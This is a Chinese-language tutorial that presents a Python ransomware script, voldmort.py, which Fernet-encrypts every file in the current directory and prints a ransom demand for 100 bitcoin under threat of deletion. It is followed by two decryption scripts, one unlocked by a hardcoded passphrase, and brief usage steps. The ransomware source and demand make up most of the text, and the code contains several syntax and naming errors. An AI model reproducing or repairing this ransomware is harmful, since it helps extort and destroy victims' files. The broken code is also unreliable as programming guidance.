原理分析
其实我们要写的脚本本质上就是一个加密程序，将文件内容通过Fernet算法进行加密，然后生成key，后面我们可以通过key在进行解密，这个过程是不是像极了勒索的场面……但是，我们要注意的是加密的过程，要做一下判断，不要把Python加密脚本、解密脚本、key也加密了，后面有详细的核心代码供大家参考。


核心代码
勒索核心代码voldmort.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key":
    continue
  if os.path.isfile(file):
    files.append(file)

key = Fernet.generate_key
with open ("thekey.key","wb") as thekey:
  thekey.write(key)

for file in files:
  with open (file,"rb") as thefile:
    contents = thefile.read()
  contents_encrypted = Fernet(key).encrypt(contents)
  with open (file,"wb") as thefile:
    the file.write(contents_encrypted)
print("您的文件已经被加密，请给猪猪侠支付100比特币解锁，否则文件将在24小时之内被删除")


勒索解密代码decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
    continue
  if os.path.isfile(file):
    files.append(file)

with open ("thekey.key","rb") as key:
  secretkey = key.read()

for file in files:
  with open (file,"rb") as thefile:
    contents = thefile.read()
  contents_decrypted = Fernet(secretkey).decrypt(contents)
  with open (file,"wb") as thefile:
    the file.write(contents_decrypted)


自定义密钥解锁decrypt.py

import os
from cryptography.fernet import Fernet

#Let's find some files

files = []
for files in os.listdir():
  if file == "voldmort.py" or file == "thekey.key" or file == "decrypt.py":
    continue
  if os.path.isfile(file):
    files.append(file)

with open ("thekey.key","rb") as key:
  secretkey = key.read()

secretphrase = "fancypig"
user_phrase = input("请输入指定密钥解锁加密文件：\n")

if user_phrase == secretphrase
  for file in files:
    with open (file,"rb") as thefile:
      contents = thefile.read()
    contents_decrypted = Fernet(secretkey).decrypt(contents)
    with open (file,"wb") as thefile:
      the file.write(contents_decrypted)
  print("恭喜您已经成功解锁文件")


使用方法
上面的脚本，譬如我们使用第一个，运行下面的命令：python voldmort.py

你会发现同一目录下的全部文本文件都被加密了，正如视频中，查看某个文件内容，
输入命令：cat file.txt

运行脚本前后，文本内容发生了变化，后者被加密了，看不到原有的This is a file的内容了。
